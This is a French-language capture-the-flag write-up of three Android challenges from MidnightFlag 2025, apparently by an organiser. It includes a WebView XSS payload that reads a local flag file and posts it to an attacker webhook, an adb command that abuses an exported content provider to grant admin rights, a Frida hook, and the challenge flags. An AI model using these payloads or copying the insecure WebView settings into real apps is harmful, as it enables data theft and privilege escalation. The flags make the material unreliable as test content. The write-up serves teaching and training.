Neopasswd[1,2,3] - Android | MidnightFlag WU

Table des matières :


MidnightFlag CTF - 2025

Cette année, j’ai eu le plaisir d’organiser le MidnightFlag CTF et d’en faire mon projet d’année scolaire.

J’ai eu la chance de créer et maintenir l’infrastructure du CTF. Un grand merci encore à @Exoscale pour l’hébergement ! (et à Sebastien :p)
0% de downtime - un vrai record ;)

exoscale

J’ai développé 3 challenges dans la catégorie Android. Un grand merci à @Worty pour avoir accepté de créer le troisième avec moi !

Pour les writeups, on va commencer par le plus dur et finir par le plus simple.

Neopasswd3 (Difficile)

neopasswd3 is the most complete and playful version yet. More features, more fun… And for the anecdote, this one’s inspired by true bug in bug bounty 👀

1

Le serveur NodeJS

Dans server.js, on comprend rapidement que le serveur et l’APK servent à autoriser une authentification sur des sites web. Les messages WebSocket suivants peuvent être échangés avec le serveur :

  • device : Utilisé par l’application Android pour s’authentifier auprès du serveur, avec un UUID si elle s’est déjà connectée — sinon, le serveur en renvoie un.

2

  • authorization : Crée un événement qui sera récupéré par l’APK pour autoriser (ou non) la connexion.

3

  • authorization_response : Utilisé par l’application Android pour envoyer la réponse à une demande de connexion.

4

Notez que le code suivant est exécuté chaque seconde pour envoyer des demandes de connexion pour tous les utilisateurs :

function startEventLoop(ws, deviceId) {
    const interval = setInterval(() => {
        db.get(`SELECT * FROM event WHERE device_id = ? ORDER BY id LIMIT 1`, [deviceId], (err, row) => {
            if (row) {
                ws.send(JSON.stringify({
                    type: "authorization",
                    reason: row.reason,
                    id: row.device_id
                }));
                db.run(`DELETE FROM event WHERE id = ?`, [row.id]);
            }
        });
    }, 1000);
}

Il existe un ID spécial codé en dur 11111111-1111-1111-1111-111111111111 qui correspond aussi au téléphone de l’administrateur :)

5

L’application Android

Dans l’APK, il n’y a pas beaucoup de code source. En gros, la seule classe intéressante est MainActivity.java, qui s’occupe de la connexion au serveur web. Quand une requête de connexion est reçue, le code suivant est exécuté :

//[...]
public void showAuthorizationPopup(String reason, final AuthorizationCallback callback) {
    AlertDialog.Builder builder = new AlertDialog.Builder(this);
    WebView webView = new WebView(this);
    webView.setWebViewClient(new WebViewClient());
    final AlertDialog dialog = builder.create();
    webView.getSettings().setJavaScriptEnabled(true);
    webView.getSettings().setAllowFileAccess(true);
    webView.getSettings().setAllowFileAccessFromFileURLs(true);
    webView.addJavascriptInterface(new Object() {
        @JavascriptInterface
        public void agree() {
            dialog.dismiss();
            try {
                JSONObject result = new JSONObject();
                result.put(NotificationCompat.CATEGORY_STATUS, "agree");
                result.put("timestamp", System.currentTimeMillis());
                callback.onAuthorizationResponse(result);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

        @JavascriptInterface
        public void disallow() {
            dialog.dismiss();
            try {
                JSONObject result = new JSONObject();
                result.put(NotificationCompat.CATEGORY_STATUS, "disallow");
                result.put("timestamp", System.currentTimeMillis());
                callback.onAuthorizationResponse(result);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }, "Android");
    try {
        File htmlFile = new File(getFilesDir(), "webview_payload.html");
        String html = "<html><body style='background:#000;color:#0f0;text-align:center;font-family:monospace;'><h3>A person try to connect on your account</h3><p>Invoked reason: <b>" + reason + "</b></p><button onclick='Android.agree()'>Agree</button>&nbsp;&nbsp;<button onclick='Android.disallow()'>Disallow</button></body></html>";
        FileOutputStream fos = new FileOutputStream(htmlFile);
        fos.write(html.getBytes(StandardCharsets.UTF_8));
        fos.close();
        webView.loadUrl("file://" + htmlFile.getAbsolutePath());
        dialog.setView(webView);
        dialog.setCancelable(true);
        dialog.show();
    } catch (Exception e) {
        e.printStackTrace();
    }
}
//[...]

Potentiel file read

Dans le code Android précédent, on voit que le WebView est créé avec les paramètres dangereux suivants :

webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true);
webView.getSettings().setAllowFileAccessFromFileURLs(true);
  • setJavaScriptEnabled permet l’exécution de code JavaScript dans le WebView.
  • setAllowFileAccess permet au WebView de lire des fichiers locaux via file://.
  • setAllowFileAccessFromFileURLs permet à du JavaScript local de lire d’autres fichiers via file://.

Cette combinaison peut permettre la lecture de fichiers sensibles depuis le sandbox de l’application s’il y a une faille XSS.

XSS

Lorsque l’application reçoit un événement de connexion, une page HTML est construite avec un paramètre contrôlé par l’utilisateur, reason, reçu depuis le serveur NodeJS et transmis tel quel à l’APK.
Donc, comme l’utilisateur connaît l’ID de l’admin, il peut déclencher une XSS dans le WebView sur l’appareil de l’admin (et lire un fichier local).

File htmlFile = new File(getFilesDir(), "webview_payload.html");
String html = "<html>[...]<h3>A person try to connect on your account</h3><p>Invoked reason: <b>" + reason + "</b>[...]</html>";

Exploitation complète

Puisqu’on connaît l’ID admin 11111111-1111-1111-1111-111111111111, on peut envoyer un message qui déclenche une XSS sur son téléphone ! (Oui, en tant qu’orga du CTF, on avait une VM Android pendant l’event pour faire tourner les payloads des joueurs :p)

Envoyer le message WebSocket suivant déclenche le bug et nous permet d’obtenir le flag :

{
  "type": "authorization",
  "id": "11111111-1111-1111-1111-111111111111",
  "reason": "Connexion on test <script>
    f = x => fetch(\"https://webhook.site/<YOUR_UUID>\", {
      method: \"POST\",
      headers: {
        \"Content-Type\": \"text/plain\"
      },
      body: x
    });
    x = new XMLHttpRequest();
    x.onload = () => f(x.responseText);
    x.open(\"GET\", \"file:///data/user/0/com.example.neopasswd3/files/flag.txt\");
    x.send();
  </script>"
}

Tada ! On a le flag sur notre webhook !

MCTF{5a66684f15b18bf4973d60bc7bea912b}

6

Talk

Si ça vous a intéressé, n’hésitez pas à jeter un coup d’œil à une conf que j’ai donnée sur le sujet :) Si vous cherchez bien vous pourrez même la trouver sur YouTube → Cliquez ici


Neopasswd2 (Moyen)

neopasswd2 is the shiny new version of the original app, now with notifications and login! The devs said it’s safe, that’s cuuute

7

Comprendre l’APK

Quand on décompile l’APK, on remarque qu’il y a une forme d’authentification admin et de gestion de messages chiffrés.

8
En lançant l’application, on voit qu’il est possible de créer un compte et de s’authentifier ;)

17

La fonction tryDecrypt essaie de déchiffrer des données encodées en Base64 avec AES. Mais avant cela, elle vérifie la taille des données décodées. Comme on peut le voir dans la méthode getMaxAllowedLength(), elle autorise seulement un maximum de 3 octets.

Donc si le message, une fois décodé en Base64, fait plus de 3 octets, la méthode retourne immédiatement null et saute le déchiffrement !
10

Devenir admin

Il y avait plusieurs façons de devenir admin ! C’était possible soit avec Frida, soit directement en modifiant la base de données.

Voici un extrait intéressant du fichier AndroidManifest.xml :

11

Le manifeste déclare un UserProvider exporté et ne nécessitant aucune permission spéciale. Comme il est publiquement accessible et que son authority est connue (com.example.neopasswd2.provider), on peut l’utiliser directement via ADB :

adb shell content update --uri content://com.example.neopasswd2.provider/users \
  --bind admin:i:1 \
  --where "\"username='pwnii'\""

Avec cette commande, tu peux mettre à jour le champ admin de ton utilisateur dans la base de données, ce qui t’accorde potentiellement les droits admin, sans authentification ni UI.

12

Hooking

Maintenant qu’on est admin, on doit hooker la fonction getMaxAllowedLength() pour augmenter la limite de taille des données à déchiffrer !

Pour ça, il suffit de sortir Frida :

On peut hooker la méthode getMaxAllowedLength() avec Frida pour contourner la limite. Par défaut, cette méthode retourne 3, ce qui bloque tout message un peu long. Pour la forcer à renvoyer une valeur plus grande, voici un petit script :

Java.perform(() => {
    const Main = Java.use("com.example.neopasswd2.MainActivity");
    Main.getMaxAllowedLength.implementation = function () {
        console.log("getMaxAllowedLength() patched -> 999");
        return 9999;
    };
});

Cela force la méthode à renvoyer 9999 au lieu de 3, permettant de passer des messages plus longs à la méthode tryDecrypt et de récupérer le message complet déchiffré !

13

On clique sur l’icône de notification pour déclencher la fonction et tadaa !

Th3_c4k3_1s_4_L13!

Bbyneopasswd (Facile)

bby neopasswd is a small mobile app currently under development by a group of students. Can you find the flag hidden within their early prototype?

14

Décompilation de l’app

Tu pouvais lancer l’APK pour voir son interface, mais ce n’était pas très utile car il n’y avait rien d’intéressant sur le front-end pour résoudre le challenge.

En décompilant l’APK, on voit qu’il ne se passe pas grand-chose dans MainActivity, mais on trouve quelque chose d’intéressant dans la partie notifications, en particulier dans le fichier NotificationsFragment.
16

La méthode encryptNotification() utilise XOR avec la clé 66 pour chiffrer les données. Comme XOR est symétrique, on peut déchiffrer en appliquant le même XOR à nouveau.

Dans la méthode onCreateView(), on voit un tableau de bytes :

byte[] bArr = {15, 1, 22, 4, 57, 115, 54, 119, 29, 17, 55, 18, 113, 48, 29, 113, 35, 49, 59, 29, 54, 114, 29, 4, 115, 44, 38, 29, 17, 113, 33, 48, 39, 54, 119, 63};

On peut déchiffrer ce tableau avec une simple opération XOR avec la clé 66. Voici un petit script Python pour ça :

encrypted = [15, 1, 22, 4, 57, 115, 54, 119, 29, 17, 55, 18, 113, 48, 29, 113, 35, 49, 59, 29, 54, 114, 29, 4, 115, 44, 38, 29, 17, 113, 33, 48, 39, 54, 119, 63]
key = 66

decrypted = ''.join(chr(b ^ key) for b in encrypted)
print(decrypted)

Et on récupère le flag :)

MCTF{1t5_SuP3r_3asy_t0_F1nd_S3cret5}